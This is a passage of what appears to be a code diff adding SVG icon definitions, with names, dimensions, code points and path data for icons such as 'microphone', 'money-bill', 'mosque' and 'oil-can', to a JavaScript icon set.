0-32-14.33-32-32V144c0-8.84-7.16-16-16-16H16c-8.84 0-16 7.16-16 16v144c0 53.02 42.98 96 96 96h192v64H112c-8.84 0-16 7.16-16 16v32c0 8.84 7.16 16 16 16h416c8.84 0 16-7.16 16-16v-32c0-8.84-7.16-16-16-16H352v-64h192c53.02 0 96-42.98 96-96V144c0-8.84-7.16-16-16-16h-32c-8.84 0-16 7.16-16 16v144z"], + "mercury": [288, 512, [], "f223", "M288 208c0-44.2-19.9-83.7-51.2-110.1 2.5-1.8 4.9-3.8 7.2-5.8 24.7-21.2 39.8-48.8 43.2-78.8.9-7.1-4.7-13.3-11.9-13.3h-40.5C229 0 224.1 4.1 223 9.8c-2.4 12.5-9.6 24.3-20.7 33.8C187 56.8 166.3 64 144 64s-43-7.2-58.4-20.4C74.5 34.1 67.4 22.3 64.9 9.8 63.8 4.1 58.9 0 53.2 0H12.7C5.5 0-.1 6.2.8 13.3 4.2 43.4 19.2 71 44 92.2c2.3 2 4.7 3.9 7.2 5.8C19.9 124.3 0 163.8 0 208c0 68.5 47.9 125.9 112 140.4V400H76c-6.6 0-12 5.4-12 12v40c0 6.6 5.4 12 12 12h36v36c0 6.6 5.4 12 12 12h40c6.6 0 12-5.4 12-12v-36h36c6.6 0 12-5.4 12-12v-40c0-6.6-5.4-12-12-12h-36v-51.6c64.1-14.5 112-71.9 112-140.4zm-224 0c0-44.1 35.9-80 80-80s80 35.9 80 80-35.9 80-80 80-80-35.9-80-80z"], + "meteor": [512, 512, [], "f753", "M511.328,20.8027c-11.60759,38.70264-34.30724,111.70173-61.30311,187.70077,6.99893,2.09372,13.4042,4,18.60653,5.59368a16.06158,16.06158,0,0,1,9.49854,22.906c-22.106,42.29635-82.69047,152.795-142.47819,214.40356-.99984,1.09373-1.99969,2.5-2.99954,3.49995A194.83046,194.83046,0,1,1,57.085,179.41009c.99985-1,2.40588-2,3.49947-3,61.59994-59.90549,171.97367-120.40473,214.37343-142.4982a16.058,16.058,0,0,1,22.90274,9.49988c1.59351,5.09368,3.49947,11.5936,5.5929,18.59351C379.34818,35.00565,452.43074,12.30281,491.12794.70921A16.18325,16.18325,0,0,1,511.328,20.8027ZM319.951,320.00207A127.98041,127.98041,0,1,0,191.97061,448.00046,127.97573,127.97573,0,0,0,319.951,320.00207Zm-127.98041-31.9996a31.9951,31.9951,0,1,1-31.9951-31.9996A31.959,31.959,0,0,1,191.97061,288.00247Zm31.9951,79.999a15.99755,15.99755,0,1,1-15.99755-15.9998A16.04975,16.04975,0,0,1,223.96571,368.00147Z"], + "microchip": [512, 512, [], "f2db", "M416 48v416c0 26.51-21.49 48-48 48H144c-26.51 0-48-21.49-48-48V48c0-26.51 21.49-48 48-48h224c26.51 0 48 21.49 48 48zm96 58v12a6 6 0 0 1-6 6h-18v6a6 6 0 0 1-6 6h-42V88h42a6 6 0 0 1 6 6v6h18a6 6 0 0 1 6 6zm0 96v12a6 6 0 0 1-6 6h-18v6a6 6 0 0 1-6 6h-42v-48h42a6 6 0 0 1 6 6v6h18a6 6 0 0 1 6 6zm0 96v12a6 6 0 0 1-6 6h-18v6a6 6 0 0 1-6 6h-42v-48h42a6 6 0 0 1 6 6v6h18a6 6 0 0 1 6 6zm0 96v12a6 6 0 0 1-6 6h-18v6a6 6 0 0 1-6 6h-42v-48h42a6 6 0 0 1 6 6v6h18a6 6 0 0 1 6 6zM30 376h42v48H30a6 6 0 0 1-6-6v-6H6a6 6 0 0 1-6-6v-12a6 6 0 0 1 6-6h18v-6a6 6 0 0 1 6-6zm0-96h42v48H30a6 6 0 0 1-6-6v-6H6a6 6 0 0 1-6-6v-12a6 6 0 0 1 6-6h18v-6a6 6 0 0 1 6-6zm0-96h42v48H30a6 6 0 0 1-6-6v-6H6a6 6 0 0 1-6-6v-12a6 6 0 0 1 6-6h18v-6a6 6 0 0 1 6-6zm0-96h42v48H30a6 6 0 0 1-6-6v-6H6a6 6 0 0 1-6-6v-12a6 6 0 0 1 6-6h18v-6a6 6 0 0 1 6-6z"], + "microphone": [352, 512, [], "f130", "M176 352c53.02 0 96-42.98 96-96V96c0-53.02-42.98-96-96-96S80 42.98 80 96v160c0 53.02 42.98 96 96 96zm160-160h-16c-8.84 0-16 7.16-16 16v48c0 74.8-64.49 134.82-140.79 127.38C96.71 376.89 48 317.11 48 250.3V208c0-8.84-7.16-16-16-16H16c-8.84 0-16 7.16-16 16v40.16c0 89.64 63.97 169.55 152 181.69V464H96c-8.84 0-16 7.16-16 16v16c0 8.84 7.16 16 16 16h160c8.84 0 16-7.16 16-16v-16c0-8.84-7.16-16-16-16h-56v-33.77C285.71 418.47 352 344.9 352 256v-48c0-8.84-7.16-16-16-16z"], + "microphone-alt": [352, 512, [], "f3c9", "M336 192h-16c-8.84 0-16 7.16-16 16v48c0 74.8-64.49 134.82-140.79 127.38C96.71 376.89 48 317.11 48 250.3V208c0-8.84-7.16-16-16-16H16c-8.84 0-16 7.16-16 16v40.16c0 89.64 63.97 169.55 152 181.69V464H96c-8.84 0-16 7.16-16 16v16c0 8.84 7.16 16 16 16h160c8.84 0 16-7.16 16-16v-16c0-8.84-7.16-16-16-16h-56v-33.77C285.71 418.47 352 344.9 352 256v-48c0-8.84-7.16-16-16-16zM176 352c53.02 0 96-42.98 96-96h-85.33c-5.89 0-10.67-3.58-10.67-8v-16c0-4.42 4.78-8 10.67-8H272v-32h-85.33c-5.89 0-10.67-3.58-10.67-8v-16c0-4.42 4.78-8 10.67-8H272v-32h-85.33c-5.89 0-10.67-3.58-10.67-8v-16c0-4.42 4.78-8 10.67-8H272c0-53.02-42.98-96-96-96S80 42.98 80 96v160c0 53.02 42.98 96 96 96z"], + "microphone-alt-slash": [640, 512, [], "f539", "M633.82 458.1L476.26 336.33C488.74 312.21 496 284.98 496 256v-48c0-8.84-7.16-16-16-16h-16c-8.84 0-16 7.16-16 16v48c0 17.92-3.96 34.8-10.72 50.2l-26.55-20.52c3.1-9.4 5.28-19.22 5.28-29.67h-43.67l-41.4-32H416v-32h-85.33c-5.89 0-10.67-3.58-10.67-8v-16c0-4.42 4.78-8 10.67-8H416v-32h-85.33c-5.89 0-10.67-3.58-10.67-8v-16c0-4.42 4.78-8 10.67-8H416c0-53.02-42.98-96-96-96s-96 42.98-96 96v45.36L45.47 3.37C38.49-2.05 28.43-.8 23.01 6.18L3.37 31.45C-2.05 38.42-.8 48.47 6.18 53.9l588.36 454.73c6.98 5.43 17.03 4.17 22.46-2.81l19.64-25.27c5.41-6.97 4.16-17.02-2.82-22.45zM400 464h-56v-33.78c11.71-1.62 23.1-4.28 33.96-8.08l-50.4-38.96c-6.71.4-13.41.87-20.35.2-55.85-5.45-98.74-48.63-111.18-101.85L144 241.31v6.85c0 89.64 63.97 169.55 152 181.69V464h-56c-8.84 0-16 7.16-16 16v16c0 8.84 7.16 16 16 16h160c8.84 0 16-7.16 16-16v-16c0-8.84-7.16-16-16-16z"], + "microphone-slash": [640, 512, [], "f131", "M633.82 458.1l-157.8-121.96C488.61 312.13 496 285.01 496 256v-48c0-8.84-7.16-16-16-16h-16c-8.84 0-16 7.16-16 16v48c0 17.92-3.96 34.8-10.72 50.2l-26.55-20.52c3.1-9.4 5.28-19.22 5.28-29.67V96c0-53.02-42.98-96-96-96s-96 42.98-96 96v45.36L45.47 3.37C38.49-2.05 28.43-.8 23.01 6.18L3.37 31.45C-2.05 38.42-.8 48.47 6.18 53.9l588.36 454.73c6.98 5.43 17.03 4.17 22.46-2.81l19.64-25.27c5.41-6.97 4.16-17.02-2.82-22.45zM400 464h-56v-33.77c11.66-1.6 22.85-4.54 33.67-8.31l-50.11-38.73c-6.71.4-13.41.87-20.35.2-55.85-5.45-98.74-48.63-111.18-101.85L144 241.31v6.85c0 89.64 63.97 169.55 152 181.69V464h-56c-8.84 0-16 7.16-16 16v16c0 8.84 7.16 16 16 16h160c8.84 0 16-7.16 16-16v-16c0-8.84-7.16-16-16-16z"], + "microscope": [512, 512, [], "f610", "M160 320h12v16c0 8.84 7.16 16 16 16h40c8.84 0 16-7.16 16-16v-16h12c17.67 0 32-14.33 32-32V64c0-17.67-14.33-32-32-32V16c0-8.84-7.16-16-16-16h-64c-8.84 0-16 7.16-16 16v16c-17.67 0-32 14.33-32 32v224c0 17.67 14.33 32 32 32zm304 128h-1.29C493.24 413.99 512 369.2 512 320c0-105.88-86.12-192-192-192v64c70.58 0 128 57.42 128 128s-57.42 128-128 128H48c-26.51 0-48 21.49-48 48 0 8.84 7.16 16 16 16h480c8.84 0 16-7.16 16-16 0-26.51-21.49-48-48-48zm-360-32h208c4.42 0 8-3.58 8-8v-16c0-4.42-3.58-8-8-8H104c-4.42 0-8 3.58-8 8v16c0 4.42 3.58 8 8 8z"], + "minus": [448, 512, [], "f068", "M416 208H32c-17.67 0-32 14.33-32 32v32c0 17.67 14.33 32 32 32h384c17.67 0 32-14.33 32-32v-32c0-17.67-14.33-32-32-32z"], + "minus-circle": [512, 512, [], "f056", "M256 8C119 8 8 119 8 256s111 248 248 248 248-111 248-248S393 8 256 8zM124 296c-6.6 0-12-5.4-12-12v-56c0-6.6 5.4-12 12-12h264c6.6 0 12 5.4 12 12v56c0 6.6-5.4 12-12 12H124z"], + "minus-square": [448, 512, [], "f146", "M400 32H48C21.5 32 0 53.5 0 80v352c0 26.5 21.5 48 48 48h352c26.5 0 48-21.5 48-48V80c0-26.5-21.5-48-48-48zM92 296c-6.6 0-12-5.4-12-12v-56c0-6.6 5.4-12 12-12h264c6.6 0 12 5.4 12 12v56c0 6.6-5.4 12-12 12H92z"], + "mitten": [448, 512, [], "f7b5", "M368 416H48c-8.8 0-16 7.2-16 16v64c0 8.8 7.2 16 16 16h320c8.8 0 16-7.2 16-16v-64c0-8.8-7.2-16-16-16zm57-209.1c-27.2-22.6-67.5-19-90.1 8.2l-20.9 25-29.6-128.4c-18-77.5-95.4-125.9-172.8-108C34.2 21.6-14.2 98.9 3.7 176.4L51.6 384h309l72.5-87c22.7-27.2 19-67.5-8.1-90.1z"], + "mobile": [320, 512, [], "f10b", "M272 0H48C21.5 0 0 21.5 0 48v416c0 26.5 21.5 48 48 48h224c26.5 0 48-21.5 48-48V48c0-26.5-21.5-48-48-48zM160 480c-17.7 0-32-14.3-32-32s14.3-32 32-32 32 14.3 32 32-14.3 32-32 32z"], + "mobile-alt": [320, 512, [], "f3cd", "M272 0H48C21.5 0 0 21.5 0 48v416c0 26.5 21.5 48 48 48h224c26.5 0 48-21.5 48-48V48c0-26.5-21.5-48-48-48zM160 480c-17.7 0-32-14.3-32-32s14.3-32 32-32 32 14.3 32 32-14.3 32-32 32zm112-108c0 6.6-5.4 12-12 12H60c-6.6 0-12-5.4-12-12V60c0-6.6 5.4-12 12-12h200c6.6 0 12 5.4 12 12v312z"], + "money-bill": [640, 512, [], "f0d6", "M608 64H32C14.33 64 0 78.33 0 96v320c0 17.67 14.33 32 32 32h576c17.67 0 32-14.33 32-32V96c0-17.67-14.33-32-32-32zM48 400v-64c35.35 0 64 28.65 64 64H48zm0-224v-64h64c0 35.35-28.65 64-64 64zm272 176c-44.19 0-80-42.99-80-96 0-53.02 35.82-96 80-96s80 42.98 80 96c0 53.03-35.83 96-80 96zm272 48h-64c0-35.35 28.65-64 64-64v64zm0-224c-35.35 0-64-28.65-64-64h64v64z"], + "money-bill-alt": [640, 512, [], "f3d1", "M352 288h-16v-88c0-4.42-3.58-8-8-8h-13.58c-4.74 0-9.37 1.4-13.31 4.03l-15.33 10.22a7.994 7.994 0 0 0-2.22 11.09l8.88 13.31a7.994 7.994 0 0 0 11.09 2.22l.47-.31V288h-16c-4.42 0-8 3.58-8 8v16c0 4.42 3.58 8 8 8h64c4.42 0 8-3.58 8-8v-16c0-4.42-3.58-8-8-8zM608 64H32C14.33 64 0 78.33 0 96v320c0 17.67 14.33 32 32 32h576c17.67 0 32-14.33 32-32V96c0-17.67-14.33-32-32-32zM48 400v-64c35.35 0 64 28.65 64 64H48zm0-224v-64h64c0 35.35-28.65 64-64 64zm272 192c-53.02 0-96-50.15-96-112 0-61.86 42.98-112 96-112s96 50.14 96 112c0 61.87-43 112-96 112zm272 32h-64c0-35.35 28.65-64 64-64v64zm0-224c-35.35 0-64-28.65-64-64h64v64z"], + "money-bill-wave": [640, 512, [], "f53a", "M621.16 54.46C582.37 38.19 543.55 32 504.75 32c-123.17-.01-246.33 62.34-369.5 62.34-30.89 0-61.76-3.92-92.65-13.72-3.47-1.1-6.95-1.62-10.35-1.62C15.04 79 0 92.32 0 110.81v317.26c0 12.63 7.23 24.6 18.84 29.46C57.63 473.81 96.45 480 135.25 480c123.17 0 246.34-62.35 369.51-62.35 30.89 0 61.76 3.92 92.65 13.72 3.47 1.1 6.95 1.62 10.35 1.62 17.21 0 32.25-13.32 32.25-31.81V83.93c-.01-12.64-7.24-24.6-18.85-29.47zM48 132.22c20.12 5.04 41.12 7.57 62.72 8.93C104.84 170.54 79 192.69 48 192.69v-60.47zm0 285v-47.78c34.37 0 62.18 27.27 63.71 61.4-22.53-1.81-43.59-6.31-63.71-13.62zM320 352c-44.19 0-80-42.99-80-96 0-53.02 35.82-96 80-96s80 42.98 80 96c0 53.03-35.83 96-80 96zm272 27.78c-17.52-4.39-35.71-6.85-54.32-8.44 5.87-26.08 27.5-45.88 54.32-49.28v57.72zm0-236.11c-30.89-3.91-54.86-29.7-55.81-61.55 19.54 2.17 38.09 6.23 55.81 12.66v48.89z"], + "money-bill-wave-alt": [640, 512, [], "f53b", "M621.16 54.46C582.37 38.19 543.55 32 504.75 32c-123.17-.01-246.33 62.34-369.5 62.34-30.89 0-61.76-3.92-92.65-13.72-3.47-1.1-6.95-1.62-10.35-1.62C15.04 79 0 92.32 0 110.81v317.26c0 12.63 7.23 24.6 18.84 29.46C57.63 473.81 96.45 480 135.25 480c123.17 0 246.34-62.35 369.51-62.35 30.89 0 61.76 3.92 92.65 13.72 3.47 1.1 6.95 1.62 10.35 1.62 17.21 0 32.25-13.32 32.25-31.81V83.93c-.01-12.64-7.24-24.6-18.85-29.47zM320 352c-44.19 0-80-42.99-80-96 0-53.02 35.82-96 80-96s80 42.98 80 96c0 53.03-35.83 96-80 96z"], + "money-check": [640, 512, [], "f53c", "M0 448c0 17.67 14.33 32 32 32h576c17.67 0 32-14.33 32-32V128H0v320zm448-208c0-8.84 7.16-16 16-16h96c8.84 0 16 7.16 16 16v32c0 8.84-7.16 16-16 16h-96c-8.84 0-16-7.16-16-16v-32zm0 120c0-4.42 3.58-8 8-8h112c4.42 0 8 3.58 8 8v16c0 4.42-3.58 8-8 8H456c-4.42 0-8-3.58-8-8v-16zM64 264c0-4.42 3.58-8 8-8h304c4.42 0 8 3.58 8 8v16c0 4.42-3.58 8-8 8H72c-4.42 0-8-3.58-8-8v-16zm0 96c0-4.42 3.58-8 8-8h176c4.42 0 8 3.58 8 8v16c0 4.42-3.58 8-8 8H72c-4.42 0-8-3.58-8-8v-16zM624 32H16C7.16 32 0 39.16 0 48v48h640V48c0-8.84-7.16-16-16-16z"], + "money-check-alt": [640, 512, [], "f53d", "M608 32H32C14.33 32 0 46.33 0 64v384c0 17.67 14.33 32 32 32h576c17.67 0 32-14.33 32-32V64c0-17.67-14.33-32-32-32zM176 327.88V344c0 4.42-3.58 8-8 8h-16c-4.42 0-8-3.58-8-8v-16.29c-11.29-.58-22.27-4.52-31.37-11.35-3.9-2.93-4.1-8.77-.57-12.14l11.75-11.21c2.77-2.64 6.89-2.76 10.13-.73 3.87 2.42 8.26 3.72 12.82 3.72h28.11c6.5 0 11.8-5.92 11.8-13.19 0-5.95-3.61-11.19-8.77-12.73l-45-13.5c-18.59-5.58-31.58-23.42-31.58-43.39 0-24.52 19.05-44.44 42.67-45.07V152c0-4.42 3.58-8 8-8h16c4.42 0 8 3.58 8 8v16.29c11.29.58 22.27 4.51 31.37 11.35 3.9 2.93 4.1 8.77.57 12.14l-11.75 11.21c-2.77 2.64-6.89 2.76-10.13.73-3.87-2.43-8.26-3.72-12.82-3.72h-28.11c-6.5 0-11.8 5.92-11.8 13.19 0 5.95 3.61 11.19 8.77 12.73l45 13.5c18.59 5.58 31.58 23.42 31.58 43.39 0 24.53-19.05 44.44-42.67 45.07zM416 312c0 4.42-3.58 8-8 8H296c-4.42 0-8-3.58-8-8v-16c0-4.42 3.58-8 8-8h112c4.42 0 8 3.58 8 8v16zm160 0c0 4.42-3.58 8-8 8h-80c-4.42 0-8-3.58-8-8v-16c0-4.42 3.58-8 8-8h80c4.42 0 8 3.58 8 8v16zm0-96c0 4.42-3.58 8-8 8H296c-4.42 0-8-3.58-8-8v-16c0-4.42 3.58-8 8-8h272c4.42 0 8 3.58 8 8v16z"], + "monument": [384, 512, [], "f5a6", "M368 448H16c-8.84 0-16 7.16-16 16v32c0 8.84 7.16 16 16 16h352c8.84 0 16-7.16 16-16v-32c0-8.84-7.16-16-16-16zm-78.86-347.26a31.97 31.97 0 0 0-9.21-19.44L203.31 4.69c-6.25-6.25-16.38-6.25-22.63 0l-76.6 76.61a31.97 31.97 0 0 0-9.21 19.44L64 416h256l-30.86-315.26zM240 307.2c0 6.4-6.4 12.8-12.8 12.8h-70.4c-6.4 0-12.8-6.4-12.8-12.8v-38.4c0-6.4 6.4-12.8 12.8-12.8h70.4c6.4 0 12.8 6.4 12.8 12.8v38.4z"], + "moon": [512, 512, [], "f186", "M283.211 512c78.962 0 151.079-35.925 198.857-94.792 7.068-8.708-.639-21.43-11.562-19.35-124.203 23.654-238.262-71.576-238.262-196.954 0-72.222 38.662-138.635 101.498-174.394 9.686-5.512 7.25-20.197-3.756-22.23A258.156 258.156 0 0 0 283.211 0c-141.309 0-256 114.511-256 256 0 141.309 114.511 256 256 256z"], + "mortar-pestle": [512, 512, [], "f5a7", "M501.54 60.91c17.22-17.22 12.51-46.25-9.27-57.14a35.696 35.696 0 0 0-37.37 3.37L251.09 160h151.37l99.08-99.09zM496 192H16c-8.84 0-16 7.16-16 16v32c0 8.84 7.16 16 16 16h16c0 80.98 50.2 150.11 121.13 178.32-12.76 16.87-21.72 36.8-24.95 58.69-1.46 9.92 6.04 18.98 16.07 18.98h223.5c10.03 0 17.53-9.06 16.07-18.98-3.22-21.89-12.18-41.82-24.95-58.69C429.8 406.11 480 336.98 480 256h16c8.84 0 16-7.16 16-16v-32c0-8.84-7.16-16-16-16z"], + "mosque": [640, 512, [], "f678", "M0 480c0 17.67 14.33 32 32 32h64c17.67 0 32-14.33 32-32V160H0v320zm579.16-192c17.86-17.39 28.84-37.34 28.84-58.91 0-52.86-41.79-93.79-87.92-122.9-41.94-26.47-80.63-57.77-111.96-96.22L400 0l-8.12 9.97c-31.33 38.45-70.01 69.76-111.96 96.22C233.79 135.3 192 176.23 192 229.09c0 21.57 10.98 41.52 28.84 58.91h358.32zM608 320H192c-17.67 0-32 14.33-32 32v128c0 17.67 14.33 32 32 32h32v-64c0-17.67 14.33-32 32-32s32 14.33 32 32v64h64v-72c0-48 48-72 48-72s48 24 48 72v72h64v-64c0-17.67 14.33-32 32-32s32 14.33 32 32v64h32c17.67 0 32-14.33 32-32V352c0-17.67-14.33-32-32-32zM64 0S0 32 0 96v32h128V96c0-64-64-96-64-96z"], + "motorcycle": [640, 512, [], "f21c", "M512.9 192c-14.9-.1-29.1 2.3-42.4 6.9L437.6 144H520c13.3 0 24-10.7 24-24V88c0-13.3-10.7-24-24-24h-45.3c-6.8 0-13.3 2.9-17.8 7.9l-37.5 41.7-22.8-38C392.2 68.4 384.4 64 376 64h-80c-8.8 0-16 7.2-16 16v16c0 8.8 7.2 16 16 16h66.4l19.2 32H227.9c-17.7-23.1-44.9-40-99.9-40H72.5C59 104 47.7 115 48 128.5c.2 13 10.9 23.5 24 23.5h56c24.5 0 38.7 10.9 47.8 24.8l-11.3 20.5c-13-3.9-26.9-5.7-41.3-5.2C55.9 194.5 1.6 249.6 0 317c-1.6 72.1 56.3 131 128 131 59.6 0 109.7-40.8 124-96h84.2c13.7 0 24.6-11.4 24-25.1-2.1-47.1 17.5-93.7 56.2-125l12.5 20.8c-27.6 23.7-45.1 58.9-44.8 98.2.5 69.6 57.2 126.5 126.8 127.1 71.6.7 129.8-57.5 129.2-129.1-.7-69.6-57.6-126.4-127.2-126.9zM128 400c-44.1 0-80-35.9-80-80s35.9-80 80-80c4.2 0 8.4.3 12.5 1L99 316.4c-8.8 16 2.8 35.6 21 35.6h81.3c-12.4 28.2-40.6 48-73.3 48zm463.9-75.6c-2.2 40.6-35 73.4-75.5 75.5-46.1 2.5-84.4-34.3-84.4-79.9 0-21.4 8.4-40.8 22.1-55.1l49.4 82.4c4.5 7.6 14.4 10 22 5.5l13.7-8.2c7.6-4.5 10-14.4 5.5-22l-48.6-80.9c5.2-1.1 10.5-1.6 15.9-1.6 45.6-.1 82.3 38.2 79.9 84.3z"], + "mountain": [640, 512, [], "f6fc", "M634.92 462.7l-288-448C341.03 5.54 330.89 0 320 0s-21.03 5.54-26.92 14.7l-288 448a32.001 32.001 0 0 0-1.17 32.64A32.004 32.004 0 0 0 32 512h576c11.71 0 22.48-6.39 28.09-16.67a31.983 31.983 0 0 0-1.17-32.63zM320 91.18L405.39 224H320l-64 64-38.06-38.06L320 91.18z"], + "mouse": [384, 512, [], "f8cc", "M0 352a160 160 0 0 0 160 160h64a160 160 0 0 0 160-160V224H0zM176 0h-16A160 160 0 0 0 0 160v32h176zm48 0h-16v192h176v-32A160 160 0 0 0 224 0z"], + "mouse-pointer": [320, 512, [], "f245", "M302.189 329.126H196.105l55.831 135.993c3.889 9.428-.555 19.999-9.444 23.999l-49.165 21.427c-9.165 4-19.443-.571-23.332-9.714l-53.053-129.136-86.664 89.138C18.729 472.71 0 463.554 0 447.977V18.299C0 1.899 19.921-6.096 30.277 5.443l284.412 292.542c11.472 11.179 3.007 31.141-12.5 31.141z"], + "mug-hot": [512, 512, [], "f7b6", "M127.1 146.5c1.3 7.7 8 13.5 16 13.5h16.5c9.8 0 17.6-8.5 16.3-18-3.8-28.2-16.4-54.2-36.6-74.7-14.4-14.7-23.6-33.3-26.4-53.5C111.8 5.9 105 0 96.8 0H80.4C70.6 0 63 8.5 64.1 18c3.9 31.9 18 61.3 40.6 84.4 12 12.2 19.7 27.5 22.4 44.1zm112 0c1.3 7.7 8 13.5 16 13.5h16.5c9.8 0 17.6-8.5 16.3-18-3.8-28.2-16.4-54.2-36.6-74.7-14.4-14.7-23.6-33.3-26.4-53.5C223.8 5.9 217 0 208.8 0h-16.4c-9.8 0-17.5 8.5-16.3 18 3.9 31.9 18 61.3 40.6 84.4 12 12.2 19.7 27.5 22.4 44.1zM400 192H32c-17.7 0-32 14.3-32 32v192c0 53 43 96 96 96h192c53 0 96-43 96-96h16c61.8 0 112-50.2 112-112s-50.2-112-112-112zm0 160h-16v-96h16c26.5 0 48 21.5 48 48s-21.5 48-48 48z"], + "music": [512, 512, [], "f001", "M470.38 1.51L150.41 96A32 32 0 0 0 128 126.51v261.41A139 139 0 0 0 96 384c-53 0-96 28.66-96 64s43 64 96 64 96-28.66 96-64V214.32l256-75v184.61a138.4 138.4 0 0 0-32-3.93c-53 0-96 28.66-96 64s43 64 96 64 96-28.65 96-64V32a32 32 0 0 0-41.62-30.49z"], + "network-wired": [640, 512, [], "f6ff", "M640 264v-16c0-8.84-7.16-16-16-16H344v-40h72c17.67 0 32-14.33 32-32V32c0-17.67-14.33-32-32-32H224c-17.67 0-32 14.33-32 32v128c0 17.67 14.33 32 32 32h72v40H16c-8.84 0-16 7.16-16 16v16c0 8.84 7.16 16 16 16h104v40H64c-17.67 0-32 14.33-32 32v128c0 17.67 14.33 32 32 32h160c17.67 0 32-14.33 32-32V352c0-17.67-14.33-32-32-32h-56v-40h304v40h-56c-17.67 0-32 14.33-32 32v128c0 17.67 14.33 32 32 32h160c17.67 0 32-14.33 32-32V352c0-17.67-14.33-32-32-32h-56v-40h104c8.84 0 16-7.16 16-16zM256 128V64h128v64H256zm-64 320H96v-64h96v64zm352 0h-96v-64h96v64z"], + "neuter": [288, 512, [], "f22c", "M288 176c0-79.5-64.5-144-144-144S0 96.5 0 176c0 68.5 47.9 125.9 112 140.4V468c0 6.6 5.4 12 12 12h40c6.6 0 12-5.4 12-12V316.4c64.1-14.5 112-71.9 112-140.4zm-144 80c-44.1 0-80-35.9-80-80s35.9-80 80-80 80 35.9 80 80-35.9 80-80 80z"], + "newspaper": [576, 512, [], "f1ea", "M552 64H88c-13.255 0-24 10.745-24 24v8H24c-13.255 0-24 10.745-24 24v272c0 30.928 25.072 56 56 56h472c26.51 0 48-21.49 48-48V88c0-13.255-10.745-24-24-24zM56 400a8 8 0 0 1-8-8V144h16v248a8 8 0 0 1-8 8zm236-16H140c-6.627 0-12-5.373-12-12v-8c0-6.627 5.373-12 12-12h152c6.627 0 12 5.373 12 12v8c0 6.627-5.373 12-12 12zm208 0H348c-6.627 0-12-5.373-12-12v-8c0-6.627 5.373-12 12-12h152c6.627 0 12 5.373 12 12v8c0 6.627-5.373 12-12 12zm-208-96H140c-6.627 0-12-5.373-12-12v-8c0-6.627 5.373-12 12-12h152c6.627 0 12 5.373 12 12v8c0 6.627-5.373 12-12 12zm208 0H348c-6.627 0-12-5.373-12-12v-8c0-6.627 5.373-12 12-12h152c6.627 0 12 5.373 12 12v8c0 6.627-5.373 12-12 12zm0-96H140c-6.627 0-12-5.373-12-12v-40c0-6.627 5.373-12 12-12h360c6.627 0 12 5.373 12 12v40c0 6.627-5.373 12-12 12z"], + "not-equal": [448, 512, [], "f53e", "M416 208c17.67 0 32-14.33 32-32v-32c0-17.67-14.33-32-32-32h-23.88l51.87-66.81c5.37-7.02 4.04-17.06-2.97-22.43L415.61 3.3c-7.02-5.38-17.06-4.04-22.44 2.97L311.09 112H32c-17.67 0-32 14.33-32 32v32c0 17.67 14.33 32 32 32h204.56l-74.53 96H32c-17.67 0-32 14.33-32 32v32c0 17.67 14.33 32 32 32h55.49l-51.87 66.81c-5.37 7.01-4.04 17.05 2.97 22.43L64 508.7c7.02 5.38 17.06 4.04 22.43-2.97L168.52 400H416c17.67 0 32-14.33 32-32v-32c0-17.67-14.33-32-32-32H243.05l74.53-96H416z"], + "notes-medical": [384, 512, [], "f481", "M336 64h-80c0-35.3-28.7-64-64-64s-64 28.7-64 64H48C21.5 64 0 85.5 0 112v352c0 26.5 21.5 48 48 48h288c26.5 0 48-21.5 48-48V112c0-26.5-21.5-48-48-48zM192 40c13.3 0 24 10.7 24 24s-10.7 24-24 24-24-10.7-24-24 10.7-24 24-24zm96 304c0 4.4-3.6 8-8 8h-56v56c0 4.4-3.6 8-8 8h-48c-4.4 0-8-3.6-8-8v-56h-56c-4.4 0-8-3.6-8-8v-48c0-4.4 3.6-8 8-8h56v-56c0-4.4 3.6-8 8-8h48c4.4 0 8 3.6 8 8v56h56c4.4 0 8 3.6 8 8v48zm0-192c0 4.4-3.6 8-8 8H104c-4.4 0-8-3.6-8-8v-16c0-4.4 3.6-8 8-8h176c4.4 0 8 3.6 8 8v16z"], + "object-group": [512, 512, [], "f247", "M480 128V96h20c6.627 0 12-5.373 12-12V44c0-6.627-5.373-12-12-12h-40c-6.627 0-12 5.373-12 12v20H64V44c0-6.627-5.373-12-12-12H12C5.373 32 0 37.373 0 44v40c0 6.627 5.373 12 12 12h20v320H12c-6.627 0-12 5.373-12 12v40c0 6.627 5.373 12 12 12h40c6.627 0 12-5.373 12-12v-20h384v20c0 6.627 5.373 12 12 12h40c6.627 0 12-5.373 12-12v-40c0-6.627-5.373-12-12-12h-20V128zM96 276V140c0-6.627 5.373-12 12-12h168c6.627 0 12 5.373 12 12v136c0 6.627-5.373 12-12 12H108c-6.627 0-12-5.373-12-12zm320 96c0 6.627-5.373 12-12 12H236c-6.627 0-12-5.373-12-12v-52h72c13.255 0 24-10.745 24-24v-72h84c6.627 0 12 5.373 12 12v136z"], + "object-ungroup": [576, 512, [], "f248", "M64 320v26a6 6 0 0 1-6 6H6a6 6 0 0 1-6-6v-52a6 6 0 0 1 6-6h26V96H6a6 6 0 0 1-6-6V38a6 6 0 0 1 6-6h52a6 6 0 0 1 6 6v26h288V38a6 6 0 0 1 6-6h52a6 6 0 0 1 6 6v52a6 6 0 0 1-6 6h-26v192h26a6 6 0 0 1 6 6v52a6 6 0 0 1-6 6h-52a6 6 0 0 1-6-6v-26H64zm480-64v-32h26a6 6 0 0 0 6-6v-52a6 6 0 0 0-6-6h-52a6 6 0 0 0-6 6v26H408v72h8c13.255 0 24 10.745 24 24v64c0 13.255-10.745 24-24 24h-64c-13.255 0-24-10.745-24-24v-8H192v72h-26a6 6 0 0 0-6 6v52a6 6 0 0 0 6 6h52a6 6 0 0 0 6-6v-26h288v26a6 6 0 0 0 6 6h52a6 6 0 0 0 6-6v-52a6 6 0 0 0-6-6h-26V256z"], + "oil-can": [640, 512, [], "f613", "M629.8 160.31L416 224l-50.49-25.24a64.07 64.07 0 0 0-28.62-6.76H280v-48h56c8.84 0 16-7.16 16-16v-16c0-8.84-7.16-16-16-16H176c-8.84 0-16 7.16-16 16v16c0 8.84 7.16 16 16 16h56v48h-56L37.72 166.86a31.9 31.9 0 0 0-5.79-.53C14.67 166.33 0 180.36 0 198.34v94.95c0 15.46 11.06 28.72 26.28 31.48L96 337.46V384c0 17.67 14.33 32 32 32h274.63c8.55 0 16.75-3.42 22.76-9.51l212.26-214.75c1.5-1.5 2.34-3.54 2.34-5.66V168c.01-5.31-5.08-9.15-10.19-7.69zM96 288.67l-48-8.73v-62.43l48 8.73v62.43zm453.33 84.66c0 23.56 19.1 42.67 42.67 42.67s42.67-19.1 42.67-42.67S592 288 592 288s-42.67 61.77-42.67 85.33z"], + "om": [512, 512, [], "f679", "M360.6 60.94a10.43 